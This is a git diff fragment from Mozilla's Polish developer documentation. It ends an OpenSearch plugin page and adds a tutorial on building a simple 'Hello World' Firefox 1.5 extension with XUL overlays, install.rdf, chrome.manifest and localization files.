+ <li>Atrybut <code>xmlns</code> jest ważny; w sytuacji jego braku można otrzymać komunikat o błędzie: "Firefox nie mógł pobrać wtyczki wyszukiwarki z: (adres URL)".</li>
+ <li><b>Konieczne</b> jest dołączenie adresu URL typu <code>text/html</code> &amp;ndashl wtyczki zawierające tylko adresy typu Atom lub <a href="pl/RSS">RSS</a> (poprawne, ale nie obsługiwane obecnie przez Firefoksa) również spowodują wyświetlenie powyższego komunikatu błędu.</li>
+ <li>Zdalne ikony witryn („favicons”) nie mogą być większe niż 10 KB (zob. {{ Bug(361923) }}).</li>
+</ul>
+<p>Ponadto usługa wtyczek wyszukiwarek zapewnia dostęp do mechanizmu dziennika, który może być przydatny dla twórców wtyczek. Aby skorzystać z dziennika, należy na stronie
+ <i>
+ about:config</i>
+ ustawić wartość opcji '<code>browser.search.log</code>' na <code>true</code>. Informacje dziennika będą pojawiać się w <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">Konsoli błędów</a> Firefoksa (Narzędzia-&gt;Konsola błędów) przy dodawaniu wtyczek.</p>
+<h2 id="Literatura" name="Literatura">Literatura</h2>
+<ul>
+ <li><a class="external" href="http://opensearch.org/">Dokumentacja OpenSearch</a>, <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/Extensions/Parameter/1.0">OpenSearch Documentation about the Url and Param element</a></li>
+ <li>Technorati.com has a <a class="external" href="http://technorati.com/osd.xml">working osd.xml</a></li>
+ <li>Więcej o problemach z automatycznym wykrywaniem - {{ Bug(340208) }}</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Data:_URI_scheme">Adresy URI <code>data:</code></a></li>
+ <li><a class="external" href="http://www.searchplugins.net">searchplugins.net</a> - tworzenie wtyczek OpenSearch dla Firefoksa 2 <a class="external" href="http://www.searchplugins.net/pluginlist.aspx">Lista wygenerowanych wtyczek</a></li>
+ <li><a class="external" href="http://ready.to/search/en/">Ready2Search</a> - tworzenie wtyczek OpenSearch. <a class="external" href="http://ready.to/search/make/en_make_plugin.htm">Wyszukiwanie za pomocą Ready2Search</a></li>
+</ul>
+<p><span class="comment">Interwiki link</span></p>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/tworzymy_rozszerzenie/index.html b/files/pl/tworzymy_rozszerzenie/index.html
new file mode 100644
index 0000000000..203f8972ff
--- /dev/null
+++ b/files/pl/tworzymy_rozszerzenie/index.html
@@ -0,0 +1,368 @@
+---
+title: Tworzymy rozszerzenie
+slug: Tworzymy_rozszerzenie
+tags:
+ - Dodatki
+ - Rozszerzenia
+translation_of: Mozilla/Add-ons
+---
+<h2 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h2>
+
+<p>Ten przewodnik przeprowadzi Cię przez kilka kroków potrzebnych do stworzenia bardzo prostego <a href="/pl/Rozszerzenia" title="pl/Rozszerzenia">rozszerzenia</a>, które doda do Firefoksa panel na pasku statusu z tekstem "Witaj Świecie!"</p>
+
+<div class="note"><strong>Uwaga!</strong> Ten artykuł dotyczy tworzenia rozszerzenia dla Firefoksa 1.5 i późniejszych. Istnieją także przewodniki na temat budowy rozszerzeń dla starszych wersji Firefoksa.</div>
+
+<h2 id="Przygotowanie_.C5.9Brodowiska_programowania" name="Przygotowanie_.C5.9Brodowiska_programowania">Przygotowanie środowiska programowania</h2>
+
+<p>Rozszerzenia są spakowane i rozpowszechniane w plikach ZIP lub <a href="/pl/Paczki" title="pl/Paczki">paczkach</a> z rozszerzeniem pliku <code>xpi</code> (<em>wymawiane jak “zippy”</em>). Układ zawartości wewnątrz pliku XPI może wyglądać następująco:</p>
+
+<pre class="eval">extension.xpi:
+ /<a href="/pl/Manifesty_Instalacji" title="pl/Manifesty_Instalacji">install.rdf</a>
+ /<a href="#Komponenty_XPCOM">components/*</a>
+ /<a href="#Linia_polece.C5.84_aplikacji">components/cmdline.js</a>
+ /<a href="#Pliki_domy.C5.9Blne">defaults/</a>
+ /<a href="#Pliki_domy.C5.9Blne">defaults/preferences/*.js</a>
+ /plugins/*
+ /<a href="/pl/Rejestracja_Chrome" title="pl/Rejestracja_Chrome">chrome.manifest</a>
+ /<a href="/pl/Ikony_okna" title="pl/Ikony_okna">chrome/icons/default/*</a>
+ /chrome/
+ /chrome/content/
+
+</pre>
+
+<p>Z tego powodu najłatwiej będzie układać pliki źródłowe w podobny sposób, chyba że chcesz napisać coś w stylu pliku Makefile lub skryptu powłoki, aby spakować wszystkie swoje pliki. Nawet, jeśli jesteś gotów to zrobić, testowanie rozszerzenia będzie znacznie łatwiejsze, jeśli ułożysz swoje pliki w powyższy sposób, ze względu na sposób pracy systemu Dodatków Firefoksa 1.5.</p>
+
+<p>Zaczynajmy. Utwórz gdzieś na swoim dysku folder dla Twojego rozszerzenia, np. <code>C:\extensions\my_extension\</code> lub <code>~/extensions/my_extension/</code>. (Uwaga: Używaj tylko małych liter) Wewnątrz tego folderu tworzymy kolejny o nazwie <code>chrome</code>, następnie wewnątrz <code>chrome</code> tworzymy folder <code>content</code>. (W systemach Uniksowych można zazwyczaj stworzyć wszystkie trzy foldery za pomocą polecenia <code>mkdir -p chrome/content</code> wydanego w głównym katalogu rozszerzenia.)</p>
+
+<p>Wewnątrz <strong>głównego</strong> folderu rozszerzenia, obok folderu <code>chrome</code>, tworzymy dwa puste pliki tekstowe: <code>chrome.manifest</code> oraz <code>install.rdf</code>.</p>
+
+<p>Przykładowo:</p>
+
+<pre>#!/bin/sh
+h=$HOME/moExt
+mkdir -p $h/my_extension/chrome/content
+touch $h/my_extension/chrome.manifest $h/my_extension/install.rdf
+</pre>
+
+<p>Więcej wskazówek na temat tego jak przygotowywać środowisko programistyczne można znaleźć w artykule <a href="/pl/Przygotowanie_%C5%9Brodowiska_programowania_rozszerzenia" title="pl/Przygotowanie_środowiska_programowania_rozszerzenia">Przygotowanie środowiska programowania rozszerzenia</a>.</p>
+
+<h2 id="Tworzenie_manifestu_instalacji" name="Tworzenie_manifestu_instalacji">Tworzenie manifestu instalacji</h2>
+
+<p>Otwieramy plik <code><a href="/pl/Manifesty_Instalacji" title="pl/Manifesty_Instalacji">install.rdf</a></code>, który utworzyliśmy w głównym katalogu rozszerzenia i wpisujemy tam:</p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+ xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+
+ &lt;Description about="urn:mozilla:install-manifest"&gt;
+ &lt;em:id&gt;<strong><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></strong>&lt;/em:id&gt;
+ &lt;em:version&gt;<strong>1.0</strong>&lt;/em:version&gt;
+ &lt;em:type&gt;2&lt;/em:type&gt;
+
+ &lt;!-- Target Application this extension can install into,
+ with minimum and maximum supported versions. --&gt;
+ &lt;em:targetApplication&gt;
+ &lt;Description&gt;
+ &lt;em:id&gt;<strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong>&lt;/em:id&gt;
+ &lt;em:minVersion&gt;<strong>1.0+</strong>&lt;/em:minVersion&gt;
+ &lt;em:maxVersion&gt;<strong>1.5.0.*</strong>&lt;/em:maxVersion&gt;
+ &lt;/Description&gt;
+ &lt;/em:targetApplication&gt;
+
+ &lt;!-- Front End MetaData --&gt;
+ &lt;em:name&gt;<strong>Sample!</strong>&lt;/em:name&gt;
+ &lt;em:description&gt;<strong>A test extension</strong>&lt;/em:description&gt;
+ &lt;em:creator&gt;<strong>Your Name Here</strong>&lt;/em:creator&gt;
+ &lt;em:homepageURL&gt;<strong><span class="nowiki">http://www.foo.com/</span></strong>&lt;/em:homepageURL&gt;
+ &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+
+<ul>
+ <li><strong><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></strong> - Identyfikator rozszerzenia. Jest to wartość, która pozwala zidentyfikować rozszerzenia, w formacie adresu email (zauważ, ze nie powinien to być <strong>Twój</strong> adres e-mail). Powinna być to wartość unikatowa. Możesz użyć także GUID. UWAGA: parametr ten MUSI posiadać format adresu e-mail, ale NIE musi to być poprawny adres <a class="link-mailto" href="mailto:(cośtam@coś.coś)" rel="freelink">(cośtam@coś.coś)</a>.</li>
+ <li>Określ <code>&lt;em:type&gt;2&lt;/em:type&gt;</code> -- cyfra 2 wskazuje, że plik opisuje rozszerzenie (zobacz inne <a href="/pl/Manifesty_Instalacji#type" title="pl/Manifesty_Instalacji#type">typy kodów</a>).</li>
+ <li><strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong> - Identyfikator aplikacji Firefox.</li>
+ <li><strong>1.0+</strong> - Minimalna wersja Firefoksa, na której rozszerzenie będzie działać. Ustaw tu minimalną wersję Firefoksa, dla której będziemy testować rozszerzenie i przygotowywać poprawki błędów.</li>
+ <li><strong>1.5.0.*</strong> - Maksymalna wersja Firefoksa, na której rozszerzenie będzie działać. Ustaw tak, aby wersja ta nie była nowsza niż najnowsza dostępna obecnie wersja Firefoksa!</li>
+</ul>
+
+<p>Zobacz <a href="/pl/Manifesty_Instalacji" title="pl/Manifesty_Instalacji">Manifesty Instalacji</a>, gdzie znajdziesz kompletną listę wymaganych i opcjonalnych właściwości.</p>
+
+<p>Zapisz plik.</p>
+
+<h2 id="Rozszerzanie_przegl.C4.85darki_przy_u.C5.BCyciu_j.C4.99zyka_XUL" name="Rozszerzanie_przegl.C4.85darki_przy_u.C5.BCyciu_j.C4.99zyka_XUL">Rozszerzanie przeglądarki przy użyciu języka XUL</h2>
+
+<p>Interfejs użytkownika w Firefoksie napisany jest w XUL i JavaScript. <a href="/pl/XUL" title="pl/XUL">XUL</a> jest językiem zgodnym z językiem XML, pozwala on na tworzenie elementów interfejsu użytkownika takich jak: przyciski, menu, paski narzędzi itp. Akcje użytkownika są powiązane z funkcjami przy użyciu języka JavaScript.</p>
+
+<p>Aby rozszerzyć możliwości przeglądarki, zmieniamy interfejs użytkownika poprzez dodanie lub modyfikację kontrolek. Możemy dodać elementy interfejsu poprzez wstawienie nowych elementów DOM XUL do okna przeglądarki i zmodyfikowanie ich poprzez dodanie skryptów i uchwytów zdarzeń.</p>
+
+<p>Przeglądarka jest zaimplementowana w pliku XUL o nazwie <code>browser.xul</code> (<code>$FIREFOX_INSTALL_DIR/chrome/browser.jar</code> zawiera <code>content/browser/browser.xul</code>). W browser.xul znajdziemy pasek stanu, który wygląda mniej więcej tak:</p>
+
+<pre class="eval">&lt;statusbar id="status-bar"&gt;
+ ... &lt;statusbarpanel&gt;s ...
+&lt;/statusbar&gt;
+</pre>
+
+<p><code>&lt;statusbar id="status-bar"&gt;</code> jest punktem wiązania dla nakładki XUL.</p>
+
+<h5 id="Nak.C5.82adki_XUL" name="Nak.C5.82adki_XUL">Nakładki XUL</h5>
+
+<p><a href="/pl/Nak%C5%82adki_XUL" title="pl/Nakładki_XUL">Nakładki XUL</a> są metodą na dołączanie w locie elementów interfejsu XUL do gotowych dokumentów XUL. Nakładka XUL to plik o rozszerzeniu .xul określający fragmenty w języku XUL, które mają zostać dołączone do określonego punktu wiązania w dokumencie głównym. Fragmenty te mogą określać elementy interfejsu, które mają zostać dodane, usunięte lub zmodyfikowane.</p>
+
+<p><strong>Przykładowy dokument nakładki XUL</strong> {{ Ref(1) }}</p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;overlay id="sample"
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+ &lt;statusbar id="<strong>status-bar</strong>"&gt;
+ &lt;statusbarpanel id="my-panel" label="Witaj świecie!"/&gt;
+ &lt;/statusbar&gt;
+&lt;/overlay&gt;
+</pre>
+
+<p>Element <code>&lt;statusbar&gt;</code> nazwany <code><strong>status-bar</strong></code> określa "punkt wiązania" w oknie przeglądarki, do którego chcemy się podpiąć.</p>
+
+<p>Element podrzędny ("dziecko") <code>&lt;statusbarpanel&gt;</code> jest nowym elementem interfejsu, który chcemy wstawić wewnątrz elementu będącego punktem wiązania.</p>
+
+<p>Skopiuj przykładowy kod podany powyżej i zapisz go w pliku o nazwie <code><strong>sample.xul</strong></code> wewnątrz katalogu <code>chrome/content</code>, który wcześniej utworzyłeś.</p>
+
+<p>Aby dowiedzieć się więcej na temat wiązania elementów interfejsu i modyfikowania interfejsu użytkownika przy zastosowaniu Nakładek, czytaj dalej.</p>
+
+<h2 id="Chrome_URI" name="Chrome_URI">Chrome URI</h2>
+
+<p>Pliki XUL są częścią "<a href="/pl/Rejestracja_Chrome" title="pl/Rejestracja_Chrome">Pakietów Chrome</a>" - paczek komponentów interfejsu użytkownika, które są ładowane przy użyciu URI <code><a class="external" rel="freelink">chrome://</a></code>. Zamiast ładować przeglądarkę z dysku używając URI <code><a class="external" rel="freelink">file://</a></code> (ponieważ położenie Firefoksa w systemie może się zmieniać w zależności od platformy i systemu), twórcy Firefoksa wymyślili w jaki sposób tworzyć URI dla zawartości plików XUL, o których wie zainstalowana aplikacja.</p>
+
+<p>URI dla okna przeglądarki to: <code><a class="external" rel="freelink">chrome://browser/content/browser.xul</a></code> Spróbuj wpisać to URI do paska adresu w Firefoksie!</p>
+
+<p>Chrome URI składa się z kilku części:</p>
+
+<ul>
+ <li>Po pierwsze, <strong>rodzaju zasobu/usługi URI</strong> (<code>chrome</code>), który mówi bibliotece sieciowej Firefoksa, że jest to Chrome URI i że ładowana przez niego zawartość będzie wymagała obsłużenia w specjalny sposób.</li>
+ <li>Po drugie, nazwy pakietu (w przykładzie powyżej, <code><strong>browser</strong></code>), która identyfikuje paczkę komponentów interfejsu użytkownika. Ta nazwa powinna być tak unikalna dla twojej aplikacji jak to możliwe, aby uniknąć kolizji między rozszerzeniami.</li>
+ <li>Po trzecie, typ żądanych danych. Są trzy typy: <code>content</code> (XUL, JavaScript, wiązania XBL i inne, które tworzą strukturę i funkcjonalność interfejsu użytkownika aplikacji), <code>locale</code> (DTD, pliki .properties (właściwości) i inne, które zawierają łańcuchy znaków dla <a href="/pl/Lokalizacja" title="pl/Lokalizacja">lokalizacji</a>) interfejsu oraz <code>skin</code> (CSS i obrazki, które tworzą <a href="/pl/Motywy" title="pl/Motywy">motyw</a> (wygląd) interfejsu)</li>
+ <li>Na koniec, ścieżka do pliku, który ma zostać załadowany przez URI.</li>
+</ul>
+
+<p>Tak więc, <code><a class="external" rel="freelink">chrome://foo/skin/bar.png</a></code> ładuje plik <code>bar.png</code> z sekcji <code>skin</code> rozszerzenia <code>foo</code>.</p>
+
+<p>Kiedy ładujesz zawartość używając Chrome URI, Firefox używa rejestru Chrome do przetłumaczenia tych identyfikatorów URI na właściwe pliki źródłowe na dysku (lub w archiwach JAR).</p>
+
+<h2 id="Tworzenie_Manifestu_Chrome" name="Tworzenie_Manifestu_Chrome">Tworzenie Manifestu Chrome</h2>
+
+<p>Więcej informacji o manifeście Chrome i obsługiwanych przez niego właściwościach znajdziesz w dokumentacji <a href="/pl/Rejestracja_Chrome" title="pl/Rejestracja_Chrome">Manifestu Chrome</a>.</p>
+
+<p>Otwórz plik o nazwie <strong>chrome.manifest</strong>, który stworzyłeś obok katalogu <code>chrome</code> w głównym katalogu rozszerzenia.</p>
+
+<p>Dodaj poniższy kod:</p>
+
+<pre class="eval">content sample chrome/content/
+</pre>
+
+<p>(<strong>Nie zapomnij o ukośnikach "<code>/</code>"!</strong> Bez nich pakiet nie zostanie zarejestrowany.)</p>
+
+<p>Dane w pliku określają:</p>
+
+<ol>
+ <li>typ zawartości przechowywanej w pakiecie chrome,</li>
+ <li>nazwę pakietu chrome (używaj wyłącznie małych liter w nazwie rozszerzenia ("sample"), ponieważ Firefoks/Thunderbird nie obsługuje mieszanych wielkości liter w wersji 2 oraz wcześniejszych - {{ Bug(132183) }}),</li>
+ <li>położenie plików pakietu chrome.</li>
+</ol>
+
+<p>Zatem powyższa linia informuje, że dla pakietu <strong>sample</strong> możemy znaleźć pliki zawierające dane typu <strong>content</strong> (zawartość) w lokalizacji <code>chrome/content</code>, podanej względem położenia pliku <code>chrome.manifest</code>.</p>
+
+<p>Zauważ, że pliki zawartości, lokalizacji i motywu muszą być zawarte wewnątrz folderów content, locale oraz skin wewnątrz twojego podkatalogu <code>chrome</code>.</p>
+
+<p>Zapisz plik. Kiedy załadujesz Firefoksa z twoim rozszerzeniem (dalej w tym przewodniku), ten plik umożliwi zarejestrowanie Twojego pakietu chrome.</p>
+
+<h4 id="Rejestrowanie_nak.C5.82adki" name="Rejestrowanie_nak.C5.82adki">Rejestrowanie nakładki</h4>
+
+<p>Chcemy, aby Firefox łączył Twoją nakładkę z oknem przeglądarki, zawsze gdy jest ono wyświetlane. Dodaj tą linię do twojego pliku <code>chrome.manifest</code> :</p>
+
+<pre class="eval">overlay <a class="external" rel="freelink">chrome://browser/content/browser.xul</a> <a class="external" rel="freelink">chrome://sample/content/sample.xul</a>
+</pre>
+
+<p>Mówi ona Firefoksowi, żeby połączył <code>sample.xul</code> i <code>browser.xul</code>, gdy <code>browser.xul</code> jest ładowany.</p>
+
+<h2 id="Test" name="Test">Test</h2>
+
+<p>Po pierwsze, musimy powiedzieć przeglądarce Firefox o Twoim rozszerzeniu. W starych, złych czasach Firefoksa 1.0 oznaczało to spakowanie rozszerzenia jako XPI i zainstalowanie go przez interfejs użytkownika, co było naprawdę nieprzyjemne. Teraz jest to znacznie prostsze.</p>
+
+<ol>
+ <li>Otwórz swój <a class="external" href="http://kb.mozillazine.org/Profile_folder">folder profilu</a>,</li>
+ <li>Otwórz folder <strong>extensions</strong> (stwórz go, jeśli nie istnieje),</li>
+ <li>Stwórz nowy plik tekstowy i umieść w nim ścieżkę do folderu twojego rozszerzenia, np. <code>C:\extensions\myExtension\</code> lub <code>~/extensions/myExtension</code>. Zapisz plik z identyfikatorem twojego rozszerzenia jako jego nazwą, np. <code><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></code>.</li>
+</ol>
+
+<p>(<strong>Nie zapomnij o ukośniku "<code>/</code>"!</strong> Bez niego rozszerzenie nie zostanie zarejestrowane.)</p>
+
+<p>Teraz jesteś gotowy do testowania swojego rozszerzenia!</p>
+
+<p>Uruchom Firefoksa. Firefox wykryje plik z odnośnikiem do katalogu Twojego rozszerzenia i zainstaluje rozszerzenie. Kiedy pojawi się okno przeglądarki, powinieneś zobaczyć tekst "Witaj świecie!" z prawej strony paska statusu.</p>
+
+<p>Możesz teraz wrócić i zmienić plik .xul, uruchomić ponownie Firefoksa - zmiany powinny się pojawić.</p>
+
+&lt;center&gt;
+<p><img alt="grafika:Helloworld_status_bar.PNG" class="internal" src="/@api/deki/files/2319/=Helloworld_status_bar.PNG"></p>
+
+<p><img alt="grafika:Helloworld_extensions_wnd.PNG" class="internal" src="/@api/deki/files/2317/=Helloworld_extensions_wnd.PNG"></p>
+&lt;/center&gt;
+
+<h2 id="Pakowanie" name="Pakowanie">Pakowanie</h2>
+
+<p>Teraz, gdy twoje rozszerzenie działa, możesz je spakować w celu umożliwienia dystrybucji i instalacji.</p>
+
+<p>Spakuj jako archiwum zip <strong>zawartość</strong> katalogu rozszerzenia (nie sam folder rozszerzenia) i zmień rozszerzenie pliku zip na rozszerzenie .xpi. W Windows XP możesz to łatwo zrobić przez zaznaczenie wszystkich plików i podfolderów w katalogu rozszerzenia, kliknięcie prawym przyciskiem myszy i wybranie "Wyślij do -&gt; Folder skompresowany (zip)". Plik .zip zostanie utworzony. Teraz tylko zmień nazwę i gotowe!</p>
+
+<p>Teraz wgraj plik .xpi na serwer i upewnij się, że jest obsługiwany jako <code>application/x-xpinstall</code>. Możesz podlinkować plik i umożliwić ludziom ściąganie i instalowanie Twojego rozszerzenia w Firefoksie.</p>
+
+<h3 id="Zastosowanie_addons.mozilla.org" name="Zastosowanie_addons.mozilla.org">Zastosowanie addons.mozilla.org</h3>
+
+<p>Mozilla Update jest witryną służącą do rozpowszechniania rozszerzeń, gdzie możesz umieścić swoje rozszerzenie za darmo. Rozszerzenie będzie przechowywane w sieci mirrorów Mozilli gwarantując możliwość ściągnięcia go, nawet jeżeli będzie ono bardzo popularne. Witryna Mozilli umożliwia także użytkownikom łatwiejszą instalację i automatyczne uaktualnienia do nowych wersji po ich udostępnieniu przez Ciebie. W dodatku Mozilla Update pozwala użytkownikom komentować i dostarczać opinie na temat twojego rozszerzenia. Rozpowszechnianie swoich rozszerzeń za pomocą Mozilla Update jest bardzo zalecane!</p>
+
+<p>Odwiedź <a class="external" href="http://addons.mozilla.org/developers/" rel="freelink">http://addons.mozilla.org/developers/</a>, załóż konto i zacznij rozpowszechnianie swoich rozszerzeń!</p>
+
+<p><em>Uwaga:</em> Twoje rozszerzenie może być szybciej udostępnione i częściej ściągane, jeśli masz jego dobry opis i ekranowe zrzuty rozszerzenia w akcji.</p>
+
+<h3 id="Rejestrowanie_rozszerze.C5.84_w_rejestrze_Windows" name="Rejestrowanie_rozszerze.C5.84_w_rejestrze_Windows">Rejestrowanie rozszerzeń w rejestrze Windows</h3>
+
+<p>W systemie Windows informacja o rozszerzeniach może być dodana do rejestru, wtedy rozszerzenia będą automatycznie instalowane następnym razem, gdy aplikacja (Firefox/Thunderbird) uruchamia się. To umożliwia instalatorom innych aplikacji łatwe integrowanie się z Firefoksem i innymi aplikacjami Mozilli poprzez rozszerzenia. Zobacz <a href="/pl/Dodawanie_rozszerze%C5%84_poprzez_rejestr_systemu_Windows" title="pl/Dodawanie_rozszerzeń_poprzez_rejestr_systemu_Windows">Dodawanie rozszerzeń poprzez rejestr systemu Windows</a> w celu uzyskania dalszych informacji.</p>
+
+<h2 id="Wi.C4.99cej_o_nak.C5.82adkach_XUL" name="Wi.C4.99cej_o_nak.C5.82adkach_XUL">Więcej o nakładkach XUL</h2>
+
+<p>Poza dołączaniem kontrolek interfejsu użytkownika do punktów łączenia możesz użyć fragmentów XUL w Nakładkach do:</p>
+
+<ul>
+ <li>Modyfikowania atrybutów punktu łączenia, np. <code>&lt;statusbar id="status-bar" hidden="true"/&gt;</code> (ukrywa pasek statusu)</li>
+ <li>Usunięcia punktu łączenia z głównego dokumentu, np. <code>&lt;statusbar id="status-bar" removeelement="true"/&gt;</code></li>
+ <li>Kontrolowania pozycji wstawianych kontrolek:</li>
+</ul>
+
+<pre class="eval">&lt;statusbarpanel position="1" .../&gt;
+
+&lt;statusbarpanel insertbefore="other-id" .../&gt;
+
+&lt;statusbarpanel insertafter="other-id" .../&gt;
+</pre>
+
+<h2 id="Tworzenie_nowego_komponentu_interfejsu_u.C5.BCytkownika" name="Tworzenie_nowego_komponentu_interfejsu_u.C5.BCytkownika">Tworzenie nowego komponentu interfejsu użytkownika</h2>
+
+<p>Możesz tworzyć swoje własne okna i okienka dialogowe jako oddzielne pliki .xul, dostarczać nową funkcjonalność poprzez implementację akcji w plikach .js, używać metod <a href="/pl/O_modelu_obiektowym_dokumentu" title="pl/O_modelu_obiektowym_dokumentu">DOM</a> do manipulowania kontrolkami interfejsu użytkownika. Możesz używać stylów w plikach .css do dołączania obrazków, ustawiania kolorów itp.</p>
+
+<p>Zobacz dokumentację <a href="/pl/XUL" title="pl/XUL">XUL</a>, znajdziesz w niej więcej zasobów dla programistów XUL.</p>
+
+<h2 id="Pliki_domy.C5.9Blne" name="Pliki_domy.C5.9Blne">Pliki domyślne</h2>
+
+<p>Domyślne pliki, których używasz do stworzenia profilu użytkownika powinny być umieszczone w katalogu <code>defaults/</code> w głównym folderze hierarchii katalogów Twojego rozszerzenia. Pliki domyślnych preferencji .js powinny być przechowywane w <code>defaults/preferences/</code> - kiedy umieścisz je tutaj, będą one automatycznie ładowane przez system preferencji Firefoksa podczas startu tak, że będziesz miał do nich dostęp używając <a href="/pl/API_Preferencji" title="pl/API_Preferencji">Preferencji API</a>.</p>
+
+<p>Przykładowy plik domyślny preferencji:</p>
+
+<pre class="eval">pref("extensions.sample.username", "Joe"); //tekst
+pref("extensions.sample.sort", 2); //liczba
+pref("extensions.sample.showAdvanced", true); //wartość logiczna
+</pre>
+
+<h2 id="Komponenty_XPCOM" name="Komponenty_XPCOM">Komponenty XPCOM</h2>
+
+<p>Firefox obsługuje komponenty <a href="/pl/XPCOM" title="pl/XPCOM">XPCOM</a> w rozszerzeniach. Możesz łatwo stworzyć swoje własne komponenty w JavaScript lub C++ (używając <a href="/pl/SDK_Gecko" title="pl/SDK_Gecko">SDK Gecko</a>).</p>
+
+<p>Wszystkie pliki .js lub .dll umieszczamy w katalogu <code>components/</code> - zostaną one automatycznie zarejestrowane przy pierwszym uruchomieniu Firefoksa po instalacji rozszerzenia.</p>
+
+<p>Aby uzyskać więcej informacji, zobacz <a href="/pl/Jak_stworzy%C4%87_komponent_XPCOM_w_Javascripcie" title="pl/Jak_stworzyć_komponent_XPCOM_w_Javascripcie">Jak stworzyć komponent XPCOM w Javascripcie</a>, <a href="/pl/Jak_stworzy%C4%87_binarny_komponent_XPCOM_u%C5%BCywaj%C4%85c_Visual_Studio" title="pl/Jak_stworzyć_binarny_komponent_XPCOM_używając_Visual_Studio">Jak stworzyć binarny komponent XPCOM używając Visual Studio</a> oraz <a href="/pl/Tworzenie_komponent%C3%B3w_XPCOM" title="pl/Tworzenie_komponentów_XPCOM">Tworzenie komponentów XPCOM</a>.</p>
+
+<h3 id="Linia_polece.C5.84_aplikacji" name="Linia_polece.C5.84_aplikacji">Linia poleceń aplikacji</h3>
+
+<p>Jednym z możliwych zastosowań komponentów XPCOM wykonanych specjalnie do tego celu jest dodanie agenta linii poleceń do Firefoksa lub Thunderbirda. Możesz użyć tej techniki do uruchamiania swojego rozszerzenia jako aplikacji:</p>
+
+<pre class="eval"> firefox.exe -myapp
+</pre>
+
+<p>Zobacz <a href="/pl/Chrome/Linia_polece%C5%84" title="pl/Chrome/Linia_poleceń">Chrome:Linia poleceń</a> i <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=365297">dyskusję na forum</a>, aby poznać szczegóły.</p>
+
+<h2 id="Lokalizacja" name="Lokalizacja">Lokalizacja</h2>
+
+<p>Dla obsługi więcej niż jednego języka, powinieneś rozdzielić teksty napisów od reszty zawartości Twojego rozszerzenia używając do tego <a href="/pl/Kurs_XUL/Lokalizacja#Encje" title="pl/Kurs_XUL/Lokalizacja#Encje">encji</a> i <a href="/pl/Kurs_XUL/Plik_w%C5%82asno%C5%9Bci" title="pl/Kurs_XUL/Plik_własności">plików własności</a>. Dużo łatwiej zrobić to podczas tworzenia rozszerzenia niż wracać do tego później.</p>
+
+<p>Informacje o lokalizacji dla Twojego rozszerzenia są przechowywane w katalogu locale. Na przykład, dla dodania lokalizacji do naszego przykładowego rozszerzenia, stwórz katalog "locale" w chrome (gdzie ulokowany jest katalog "content") i dodaj następującą linię do pliku chrome.manifest:</p>
+
+<pre class="eval">locale sample sampleLocale chrome/locale/
+</pre>
+
+<p>Dla stworzenia lokalizowalnej wartości atrybutu w XUL wstaw te wartości do pliku <code>.dtd</code>, który powinien być umieszczony w katalogu locale i wyglądać tak:</p>
+
+<pre class="eval">&lt;!ENTITY button.label "Click Me!"&gt;
+&lt;!ENTITY button.accesskey "C"&gt;
+</pre>
+
+<p>I następnie dołącz go na początku Twojego dokumentu XUL (ale pod "&lt;?xml version"1.0"?&gt;"), tak jak poniżej:</p>
+
+<pre class="eval">&lt;!DOCTYPE <strong>window</strong> SYSTEM "<a class="external" rel="freelink">chrome://sample/locale/filename.dtd</a>"&gt;
+</pre>
+
+<p>gdzie: <code>window</code> jest wartością atrybutu <code><a href="/pl/DOM/element.localName" title="pl/DOM/element.localName">localName</a></code>, głównego elementu dokumentu XUL, a wartość własności <code>SYSTEM</code> jest identyfikatorem chrome URI pliku encji. Dla naszego prostego rozszerzenia, głównym elementem jest <code>overlay</code>.</p>
+
+<p>Aby użyć encji, zmodyfikuj swój kod XUL, tak żeby wyglądał jak ten (poniższa linia musi być zawarta wewnątrz elementu <code>&lt;statusbar id="status-bar"&gt;</code> z poprzedniego przykładu):</p>
+
+<pre class="eval">&lt;button label="&amp;button.label;" accesskey="&amp;button.accesskey;"/&gt;
+</pre>
+
+<p>Rejestr Chrome załaduje plik encji z pakietu lokalizacyjnego odpowiadającego wybranej lokalizacji.</p>
+
+<p>Dla łańcuchów znaków, których używasz w skrypcie, utwórz plik tekstowy <code>.properties</code>, który w każdej linii ma łańcuchy znaków w formacie:</p>
+
+<pre class="eval">key=value
+</pre>
+
+<p>i następnie użyj: <code><a href="/pl/NsIStringBundleService" title="pl/NsIStringBundleService">nsIStringBundleService</a></code>/<code><a href="/pl/NsIStringBundle" title="pl/NsIStringBundle">nsIStringBundle</a></code> lub znacznika <code><a class="external" href="http://xulplanet.com/references/elemref/ref_stringbundle.html">&lt;stringbundle&gt;</a></code> w celu załadowania wartości do skryptu.</p>
+
+<h2 id="Zrozumienie_przegl.C4.85darki" name="Zrozumienie_przegl.C4.85darki">Zrozumienie przeglądarki</h2>
+
+<p>Użyj <a href="/pl/Inspektor_DOM" title="pl/Inspektor_DOM">Inspektora DOM</a> (nie jest on częścią <strong>Standardowej</strong> instalacji Firefoksa; musisz go zainstalować z użyciem instalacji Użytkownika i wybrać <strong>Narzędzia programistyczne</strong> jeśli nie ma składnika "Inspektor DOM" w menu Narzędzia w twojej przeglądarce) do zbadania okna przeglądarki lub każdego innego okna XUL, które chcesz zmodyfikować.</p>
+
+<p>Użyj przycisku "Wybierz węzeł do zbadania poprzez kliknięcie na nim" z paska narzędzi położonego u góry na lewo Inspektora DOM do kliknięcia na element (węzeł) w oknie przeglądarki. Kiedy to zrobisz widok drzewa hierarchii DOM w oknie Inspektora DOM przeniesie się na węzeł, na który kliknąłeś.</p>
+
